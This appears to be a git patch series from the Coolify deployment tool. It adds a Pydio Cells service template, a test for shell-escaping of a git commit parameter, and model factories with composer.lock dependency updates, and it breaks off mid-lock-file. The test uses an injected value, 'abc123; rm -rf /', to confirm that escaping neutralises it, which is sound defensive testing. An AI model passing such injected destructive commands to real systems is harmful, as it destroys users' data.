"c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -5246,5 +5231,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DRUxMU184MDgwCiAgICAgIC0gJ0NFTExTX1NJVEVfRVhURVJOQUw9JHtTRVJWSUNFX0ZRRE5fQ0VMTFN9JwogICAgICAtIENFTExTX1NJVEVfTk9fVExTPTEKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NlbGxzX2RhdGE6L3Zhci9jZWxscycKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbXlzcWxfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTFJPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1jZWxsc30nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "storage" + ], + "category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } From 02858c0892a5bc477e5478baeba6341afb256d59 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 09:05:01 +0100 Subject: [PATCH 131/305] test(rollback): verify shell metacharacter escaping in git commit parameter --- tests/Feature/ApplicationRollbackTest.php | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php index bb0ced763..bf80868cb 100644 --- a/tests/Feature/ApplicationRollbackTest.php +++ b/tests/Feature/ApplicationRollbackTest.php @@ -87,6 +87,27 @@ expect($result)->toContain('def789abc012def789abc012def789abc012def7'); }); + test('setGitImportSettings escapes shell metacharacters in commit parameter', function () { + ApplicationSetting::create([ + 'application_id' => $this->application->id, + 'is_git_shallow_clone_enabled' => false, + ]); + + $maliciousCommit = 'abc123; rm -rf /'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $maliciousCommit + ); + + // escapeshellarg wraps the value in single quotes, neutralizing metacharacters + expect($result) + ->toContain("checkout 'abc123; rm -rf /'") + ->not->toContain('checkout abc123; rm -rf /'); + }); + test('setGitImportSettings does not append checkout when commit is HEAD', function () { ApplicationSetting::create([ 'application_id' => $this->application->id, From 7ae76ebc79960ad06cb4acb046b56737be8a6d81 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 09:50:05 +0100 Subject: [PATCH 132/305] test(factories): add missing model factories for app test suite Enable `HasFactory` on `Environment`, `Project`, `ScheduledTask`, and `StandaloneDocker`, and add dedicated factories for related models to stabilize feature/unit tests. Also bump `visus/cuid2` to `^6.0` and refresh `composer.lock` with the resulting dependency updates. --- app/Models/Environment.php | 2 + app/Models/Project.php | 2 + app/Models/ScheduledTask.php | 2 + app/Models/StandaloneDocker.php | 2 + composer.json | 2 +- composer.lock | 1195 +++++++++-------- database/factories/EnvironmentFactory.php | 16 + database/factories/ProjectFactory.php | 16 + database/factories/ServiceFactory.php | 19 + .../factories/StandaloneDockerFactory.php | 18 + tests/Feature/ApplicationRollbackTest.php | 59 +- tests/Feature/ScheduledTaskApiTest.php | 46 +- .../Unit/ApplicationComposeEditorLoadTest.php | 1 - tests/Unit/ApplicationPortDetectionTest.php | 1 - tests/Unit/ContainerHealthStatusTest.php | 1 - .../Unit/HealthCheckCommandInjectionTest.php | 1 - .../HetznerDeletionFailedNotificationTest.php | 1 - .../ServerManagerJobSentinelCheckTest.php | 1 - tests/Unit/ServerQueryScopeTest.php | 1 - tests/Unit/ServiceRequiredPortTest.php | 1 - 20 files changed, 752 insertions(+), 635 deletions(-) create mode 100644 database/factories/EnvironmentFactory.php create mode 100644 database/factories/ProjectFactory.php create mode 100644 database/factories/ServiceFactory.php create mode 100644 database/factories/StandaloneDockerFactory.php diff --git a/app/Models/Environment.php b/app/Models/Environment.php index c2ad9d2cb..d4e614e6e 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -4,6 +4,7 @@ use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use OpenApi\Attributes as OA; #[OA\Schema( @@ -21,6 +22,7 @@ class Environment extends BaseModel { use ClearsGlobalSearchCache; + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/Project.php b/app/Models/Project.php index 181951f14..ed1b415c1 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -4,6 +4,7 @@ use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use OpenApi\Attributes as OA; use Visus\Cuid2\Cuid2; @@ -20,6 +21,7 @@ class Project extends BaseModel { use ClearsGlobalSearchCache; + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index 272638a81..e771ce31e 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use OpenApi\Attributes as OA; @@ -25,6 +26,7 @@ )] class ScheduledTask extends BaseModel { + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 62ef68434..0407c2255 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -4,9 +4,11 @@ use App\Jobs\ConnectProxyToNetworksJob; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; class StandaloneDocker extends BaseModel { + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/composer.json b/composer.json index fc71dea8f..d4fb1eb8e 100644 --- a/composer.json +++ b/composer.json @@ -54,7 +54,7 @@ "stevebauman/purify": "^6.3.1", "stripe/stripe-php": "^16.6.0", "symfony/yaml": "^7.4.1", - "visus/cuid2": "^4.1.0", + "visus/cuid2": "^6.0.0", "yosymfony/toml": "^1.0.4", "zircote/swagger-php": "^5.8.0" }, diff --git a/composer.lock b/composer.lock index 7c1e000e5..4d890881a 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "21d43f41d2f2e275403e77ccc66ec553", + "content-hash": "19bb661d294e5cf623e68830604e4f60", "packages": [ { "name": "aws/aws-crt-php", @@ -62,16 +62,16 @@ }, { "name": "aws/aws-sdk-php", - "version": "3.369.26", + "version": "3.371.3", "source": { "type": "git", "url": "https://github.com/aws/aws-sdk-php.git", - "reference": "ad0916c6595d98f9052f60e1d7204f4740369e94" + "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/ad0916c6595d98f9052f60e1d7204f4740369e94", - "reference": "ad0916c6595d98f9052f60e1d7204f4740369e94", + "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/d300ec1c861e52dc8f17ca3d75dc754da949f065", + "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065", "shasum": "" }, "require": { @@ -135,11 +135,11 @@ "authors": [ { "name": "Amazon Web Services", - "homepage": "http://aws.amazon.com" + "homepage": "https://aws.amazon.com" } ], "description": "AWS SDK for PHP - Use Amazon Web Services in your PHP project", - "homepage": "http://aws.amazon.com/sdkforphp", + "homepage": "https://aws.amazon.com/sdk-for-php", "keywords": [ "amazon", "aws", @@ -153,9 +153,9 @@ "support": { "forum": "https://github.com/aws/aws-sdk-php/discussions", "issues": "https://github.com/aws/aws-sdk-php/issues", - "source": "https://github.com/aws/aws-sdk-php/tree/3.369.26" + "source": "https://github.com/aws/aws-sdk-php/tree/3.371.3" }, - "time": "2026-02-03T19:16:42+00:00" + "time": "2026-02-27T19:05:40+00:00" }, { "name": "bacon/bacon-qr-code", @@ -214,16 +214,16 @@ }, { "name": "brick/math", - "version": "0.14.5", + "version": "0.14.8", "source": { "type": "git", "url": "https://github.com/brick/math.git", - "reference": "618a8077b3c326045e10d5788ed713b341fcfe40" + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/brick/math/zipball/618a8077b3c326045e10d5788ed713b341fcfe40", - "reference": "618a8077b3c326045e10d5788ed713b341fcfe40", + "url": "https://api.github.com/repos/brick/math/zipball/63422359a44b7f06cae63c3b429b59e8efcc0629", + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629", "shasum": "" }, "require": { @@ -262,7 +262,7 @@ ], "support": { "issues": "https://github.com/brick/math/issues", - "source": "https://github.com/brick/math/tree/0.14.5" + "source": "https://github.com/brick/math/tree/0.14.8" }, "funding": [ { @@ -270,7 +270,7 @@ "type": "github" } ], - "time": "2026-02-03T18:06:51+00:00" + "time": "2026-02-10T14:33:43+00:00" }, { "name": "carbonphp/carbon-doctrine-types", @@ -522,16 +522,16 @@ }, { "name": "doctrine/dbal", - "version": "4.4.1", + "version": "4.4.2", "source": { "type": "git", "url": "https://github.com/doctrine/dbal.git", - "reference": "3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c" + "reference": "476f7f0fa6ea4aa5364926db7fabdf6049075722" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/dbal/zipball/3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c", - "reference": "3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/476f7f0fa6ea4aa5364926db7fabdf6049075722", + "reference": "476f7f0fa6ea4aa5364926db7fabdf6049075722", "shasum": "" }, "require": { @@ -547,9 +547,9 @@ "phpstan/phpstan": "2.1.30", "phpstan/phpstan-phpunit": "2.0.7", "phpstan/phpstan-strict-rules": "^2", - "phpunit/phpunit": "11.5.23", - "slevomat/coding-standard": "8.24.0", - "squizlabs/php_codesniffer": "4.0.0", + "phpunit/phpunit": "11.5.50", + "slevomat/coding-standard": "8.27.1", + "squizlabs/php_codesniffer": "4.0.1", "symfony/cache": "^6.3.8|^7.0|^8.0", "symfony/console": "^5.4|^6.3|^7.0|^8.0" }, @@ -608,7 +608,7 @@ ], "support": { "issues": "https://github.com/doctrine/dbal/issues", - "source": "https://github.com/doctrine/dbal/tree/4.4.1" + "source": "https://github.com/doctrine/dbal/tree/4.4.2" }, "funding": [ { @@ -624,33 +624,33 @@ "type": "tidelift" } ], - "time": "2025-12-04T10:11:03+00:00" + "time": "2026-02-26T12:12:19+00:00" }, { "name": "doctrine/deprecations", - "version": "1.1.5", + "version": "1.1.6", "source": { "type": "git", "url": "https://github.com/doctrine/deprecations.git", - "reference": "459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38" + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/deprecations/zipball/459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38", - "reference": "459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38", + "url": "https://api.github.com/repos/doctrine/deprecations/zipball/d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "conflict": { - "phpunit/phpunit": "<=7.5 || >=13" + "phpunit/phpunit": "<=7.5 || >=14" }, "require-dev": { - "doctrine/coding-standard": "^9 || ^12 || ^13", - "phpstan/phpstan": "1.4.10 || 2.1.11", + "doctrine/coding-standard": "^9 || ^12 || ^14", + "phpstan/phpstan": "1.4.10 || 2.1.30", "phpstan/phpstan-phpunit": "^1.0 || ^2", - "phpunit/phpunit": "^7.5 || ^8.5 || ^9.6 || ^10.5 || ^11.5 || ^12", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.6 || ^10.5 || ^11.5 || ^12.4 || ^13.0", "psr/log": "^1 || ^2 || ^3" }, "suggest": { @@ -670,9 +670,9 @@ "homepage": "https://www.doctrine-project.org/", "support": { "issues": "https://github.com/doctrine/deprecations/issues", - "source": "https://github.com/doctrine/deprecations/tree/1.1.5" + "source": "https://github.com/doctrine/deprecations/tree/1.1.6" }, - "time": "2025-04-07T20:06:18+00:00" + "time": "2026-02-07T07:09:04+00:00" }, { "name": "doctrine/inflector", @@ -1035,16 +1035,16 @@ }, { "name": "firebase/php-jwt", - "version": "v7.0.2", + "version": "v7.0.3", "source": { "type": "git", "url": "https://github.com/firebase/php-jwt.git", - "reference": "5645b43af647b6947daac1d0f659dd1fbe8d3b65" + "reference": "28aa0694bcfdfa5e2959c394d5a1ee7a5083629e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/firebase/php-jwt/zipball/5645b43af647b6947daac1d0f659dd1fbe8d3b65", - "reference": "5645b43af647b6947daac1d0f659dd1fbe8d3b65", + "url": "https://api.github.com/repos/firebase/php-jwt/zipball/28aa0694bcfdfa5e2959c394d5a1ee7a5083629e", + "reference": "28aa0694bcfdfa5e2959c394d5a1ee7a5083629e", "shasum": "" }, "require": { @@ -1092,9 +1092,9 @@ ], "support": { "issues": "https://github.com/firebase/php-jwt/issues", - "source": "https://github.com/firebase/php-jwt/tree/v7.0.2" + "source": "https://github.com/firebase/php-jwt/tree/v7.0.3" }, - "time": "2025-12-16T22:17:28+00:00" + "time": "2026-02-25T22:16:40+00:00" }, { "name": "fruitcake/php-cors", @@ -1702,28 +1702,28 @@ }, { "name": "laravel/fortify", - "version": "v1.34.0", + "version": "v1.35.0", "source": { "type": "git", "url": "https://github.com/laravel/fortify.git", - "reference": "c322715f2786210a722ed56966f7c9877b653b25" + "reference": "24c5bb81ea4787e0865c4a62f054ed7d1cb7a093" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/fortify/zipball/c322715f2786210a722ed56966f7c9877b653b25", - "reference": "c322715f2786210a722ed56966f7c9877b653b25", + "url": "https://api.github.com/repos/laravel/fortify/zipball/24c5bb81ea4787e0865c4a62f054ed7d1cb7a093", + "reference": "24c5bb81ea4787e0865c4a62f054ed7d1cb7a093", "shasum": "" }, "require": { "bacon/bacon-qr-code": "^3.0", "ext-json": "*", - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/console": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", - "pragmarx/google2fa": "^9.0", - "symfony/console": "^6.0|^7.0" + "pragmarx/google2fa": "^9.0" }, "require-dev": { - "orchestra/testbench": "^8.36|^9.15|^10.8", + "orchestra/testbench": "^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -1761,20 +1761,20 @@ "issues": "https://github.com/laravel/fortify/issues", "source": "https://github.com/laravel/fortify" }, - "time": "2026-01-26T10:23:19+00:00" + "time": "2026-02-24T14:00:44+00:00" }, { "name": "laravel/framework", - "version": "v12.49.0", + "version": "v12.53.0", "source": { "type": "git", "url": "https://github.com/laravel/framework.git", - "reference": "4bde4530545111d8bdd1de6f545fa8824039fcb5" + "reference": "f57f035c0d34503d9ff30be76159bb35a003cd1f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/framework/zipball/4bde4530545111d8bdd1de6f545fa8824039fcb5", - "reference": "4bde4530545111d8bdd1de6f545fa8824039fcb5", + "url": "https://api.github.com/repos/laravel/framework/zipball/f57f035c0d34503d9ff30be76159bb35a003cd1f", + "reference": "f57f035c0d34503d9ff30be76159bb35a003cd1f", "shasum": "" }, "require": { @@ -1983,40 +1983,41 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2026-01-28T03:40:49+00:00" + "time": "2026-02-24T14:35:15+00:00" }, { "name": "laravel/horizon", - "version": "v5.43.0", + "version": "v5.45.0", "source": { "type": "git", "url": "https://github.com/laravel/horizon.git", - "reference": "2a04285ba83915511afbe987cbfedafdc27fd2de" + "reference": "7126ddf27fe9750c43ab0b567085dee3917d0510" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/horizon/zipball/2a04285ba83915511afbe987cbfedafdc27fd2de", - "reference": "2a04285ba83915511afbe987cbfedafdc27fd2de", + "url": "https://api.github.com/repos/laravel/horizon/zipball/7126ddf27fe9750c43ab0b567085dee3917d0510", + "reference": "7126ddf27fe9750c43ab0b567085dee3917d0510", "shasum": "" }, "require": { "ext-json": "*", "ext-pcntl": "*", "ext-posix": "*", - "illuminate/contracts": "^9.21|^10.0|^11.0|^12.0", - "illuminate/queue": "^9.21|^10.0|^11.0|^12.0", - "illuminate/support": "^9.21|^10.0|^11.0|^12.0", + "illuminate/contracts": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/queue": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.21|^10.0|^11.0|^12.0|^13.0", + "laravel/sentinel": "^1.0", "nesbot/carbon": "^2.17|^3.0", "php": "^8.0", "ramsey/uuid": "^4.0", - "symfony/console": "^6.0|^7.0", - "symfony/error-handler": "^6.0|^7.0", + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/error-handler": "^6.0|^7.0|^8.0", "symfony/polyfill-php83": "^1.28", - "symfony/process": "^6.0|^7.0" + "symfony/process": "^6.0|^7.0|^8.0" }, "require-dev": { "mockery/mockery": "^1.0", - "orchestra/testbench": "^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^7.56|^8.37|^9.16|^10.9|^11.0", "phpstan/phpstan": "^1.10|^2.0", "predis/predis": "^1.1|^2.0|^3.0" }, @@ -2060,43 +2061,44 @@ ], "support": { "issues": "https://github.com/laravel/horizon/issues", - "source": "https://github.com/laravel/horizon/tree/v5.43.0" + "source": "https://github.com/laravel/horizon/tree/v5.45.0" }, - "time": "2026-01-15T15:10:56+00:00" + "time": "2026-02-21T14:20:09+00:00" }, { "name": "laravel/pail", - "version": "v1.2.4", + "version": "v1.2.6", "source": { "type": "git", "url": "https://github.com/laravel/pail.git", - "reference": "49f92285ff5d6fc09816e976a004f8dec6a0ea30" + "reference": "aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pail/zipball/49f92285ff5d6fc09816e976a004f8dec6a0ea30", - "reference": "49f92285ff5d6fc09816e976a004f8dec6a0ea30", + "url": "https://api.github.com/repos/laravel/pail/zipball/aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf", + "reference": "aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf", "shasum": "" }, "require": { "ext-mbstring": "*", - "illuminate/console": "^10.24|^11.0|^12.0", - "illuminate/contracts": "^10.24|^11.0|^12.0", - "illuminate/log": "^10.24|^11.0|^12.0", - "illuminate/process": "^10.24|^11.0|^12.0", - "illuminate/support": "^10.24|^11.0|^12.0", + "illuminate/console": "^10.24|^11.0|^12.0|^13.0", + "illuminate/contracts": "^10.24|^11.0|^12.0|^13.0", + "illuminate/log": "^10.24|^11.0|^12.0|^13.0", + "illuminate/process": "^10.24|^11.0|^12.0|^13.0", + "illuminate/support": "^10.24|^11.0|^12.0|^13.0", "nunomaduro/termwind": "^1.15|^2.0", "php": "^8.2", - "symfony/console": "^6.0|^7.0" + "symfony/console": "^6.0|^7.0|^8.0" }, "require-dev": { - "laravel/framework": "^10.24|^11.0|^12.0", + "laravel/framework": "^10.24|^11.0|^12.0|^13.0", "laravel/pint": "^1.13", - "orchestra/testbench-core": "^8.13|^9.17|^10.8", + "orchestra/testbench-core": "^8.13|^9.17|^10.8|^11.0", "pestphp/pest": "^2.20|^3.0|^4.0", "pestphp/pest-plugin-type-coverage": "^2.3|^3.0|^4.0", "phpstan/phpstan": "^1.12.27", - "symfony/var-dumper": "^6.3|^7.0" + "symfony/var-dumper": "^6.3|^7.0|^8.0", + "symfony/yaml": "^6.3|^7.0|^8.0" }, "type": "library", "extra": { @@ -2141,34 +2143,34 @@ "issues": "https://github.com/laravel/pail/issues", "source": "https://github.com/laravel/pail" }, - "time": "2025-11-20T16:29:35+00:00" + "time": "2026-02-09T13:44:54+00:00" }, { "name": "laravel/prompts", - "version": "v0.3.11", + "version": "v0.3.13", "source": { "type": "git", "url": "https://github.com/laravel/prompts.git", - "reference": "dd2a2ed95acacbcccd32fd98dee4c946ae7a7217" + "reference": "ed8c466571b37e977532fb2fd3c272c784d7050d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/prompts/zipball/dd2a2ed95acacbcccd32fd98dee4c946ae7a7217", - "reference": "dd2a2ed95acacbcccd32fd98dee4c946ae7a7217", + "url": "https://api.github.com/repos/laravel/prompts/zipball/ed8c466571b37e977532fb2fd3c272c784d7050d", + "reference": "ed8c466571b37e977532fb2fd3c272c784d7050d", "shasum": "" }, "require": { "composer-runtime-api": "^2.2", "ext-mbstring": "*", "php": "^8.1", - "symfony/console": "^6.2|^7.0" + "symfony/console": "^6.2|^7.0|^8.0" }, "conflict": { "illuminate/console": ">=10.17.0 <10.25.0", "laravel/framework": ">=10.17.0 <10.25.0" }, "require-dev": { - "illuminate/collections": "^10.0|^11.0|^12.0", + "illuminate/collections": "^10.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.5", "pestphp/pest": "^2.3|^3.4|^4.0", "phpstan/phpstan": "^1.12.28", @@ -2198,36 +2200,36 @@ "description": "Add beautiful and user-friendly forms to your command-line applications.", "support": { "issues": "https://github.com/laravel/prompts/issues", - "source": "https://github.com/laravel/prompts/tree/v0.3.11" + "source": "https://github.com/laravel/prompts/tree/v0.3.13" }, - "time": "2026-01-27T02:55:06+00:00" + "time": "2026-02-06T12:17:10+00:00" }, { "name": "laravel/sanctum", - "version": "v4.3.0", + "version": "v4.3.1", "source": { "type": "git", "url": "https://github.com/laravel/sanctum.git", - "reference": "c978c82b2b8ab685468a7ca35224497d541b775a" + "reference": "e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/sanctum/zipball/c978c82b2b8ab685468a7ca35224497d541b775a", - "reference": "c978c82b2b8ab685468a7ca35224497d541b775a", + "url": "https://api.github.com/repos/laravel/sanctum/zipball/e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76", + "reference": "e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76", "shasum": "" }, "require": { "ext-json": "*", - "illuminate/console": "^11.0|^12.0", - "illuminate/contracts": "^11.0|^12.0", - "illuminate/database": "^11.0|^12.0", - "illuminate/support": "^11.0|^12.0", + "illuminate/console": "^11.0|^12.0|^13.0", + "illuminate/contracts": "^11.0|^12.0|^13.0", + "illuminate/database": "^11.0|^12.0|^13.0", + "illuminate/support": "^11.0|^12.0|^13.0", "php": "^8.2", - "symfony/console": "^7.0" + "symfony/console": "^7.0|^8.0" }, "require-dev": { "mockery/mockery": "^1.6", - "orchestra/testbench": "^9.15|^10.8", + "orchestra/testbench": "^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -2263,31 +2265,90 @@ "issues": "https://github.com/laravel/sanctum/issues", "source": "https://github.com/laravel/sanctum" }, - "time": "2026-01-22T22:27:01+00:00" + "time": "2026-02-07T17:19:31+00:00" }, { - "name": "laravel/serializable-closure", - "version": "v2.0.8", + "name": "laravel/sentinel", + "version": "v1.0.1", "source": { "type": "git", - "url": "https://github.com/laravel/serializable-closure.git", - "reference": "7581a4407012f5f53365e11bafc520fd7f36bc9b" + "url": "https://github.com/laravel/sentinel.git", + "reference": "7a98db53e0d9d6f61387f3141c07477f97425603" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/7581a4407012f5f53365e11bafc520fd7f36bc9b", - "reference": "7581a4407012f5f53365e11bafc520fd7f36bc9b", + "url": "https://api.github.com/repos/laravel/sentinel/zipball/7a98db53e0d9d6f61387f3141c07477f97425603", + "reference": "7a98db53e0d9d6f61387f3141c07477f97425603", + "shasum": "" + }, + "require": { + "ext-json": "*", + "illuminate/container": "^8.37|^9.0|^10.0|^11.0|^12.0|^13.0", + "php": "^8.0" + }, + "require-dev": { + "laravel/pint": "^1.27", + "orchestra/testbench": "^6.47.1|^7.56|^8.37|^9.16|^10.9|^11.0", + "phpstan/phpstan": "^2.1.33" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Laravel\\Sentinel\\SentinelServiceProvider" + ] + }, + "branch-alias": { + "dev-main": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Laravel\\Sentinel\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + }, + { + "name": "Mior Muhammad Zaki", + "email": "mior@laravel.com" + } + ], + "support": { + "source": "https://github.com/laravel/sentinel/tree/v1.0.1" + }, + "time": "2026-02-12T13:32:54+00:00" + }, + { + "name": "laravel/serializable-closure", + "version": "v2.0.10", + "source": { + "type": "git", + "url": "https://github.com/laravel/serializable-closure.git", + "reference": "870fc81d2f879903dfc5b60bf8a0f94a1609e669" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/870fc81d2f879903dfc5b60bf8a0f94a1609e669", + "reference": "870fc81d2f879903dfc5b60bf8a0f94a1609e669", "shasum": "" }, "require": { "php": "^8.1" }, "require-dev": { - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "nesbot/carbon": "^2.67|^3.0", "pestphp/pest": "^2.36|^3.0|^4.0", "phpstan/phpstan": "^2.0", - "symfony/var-dumper": "^6.2.0|^7.0.0" + "symfony/var-dumper": "^6.2.0|^7.0.0|^8.0.0" }, "type": "library", "extra": { @@ -2324,36 +2385,36 @@ "issues": "https://github.com/laravel/serializable-closure/issues", "source": "https://github.com/laravel/serializable-closure" }, - "time": "2026-01-08T16:22:46+00:00" + "time": "2026-02-20T19:59:49+00:00" }, { "name": "laravel/socialite", - "version": "v5.24.2", + "version": "v5.24.3", "source": { "type": "git", "url": "https://github.com/laravel/socialite.git", - "reference": "5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613" + "reference": "0feb62267e7b8abc68593ca37639ad302728c129" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/socialite/zipball/5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613", - "reference": "5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613", + "url": "https://api.github.com/repos/laravel/socialite/zipball/0feb62267e7b8abc68593ca37639ad302728c129", + "reference": 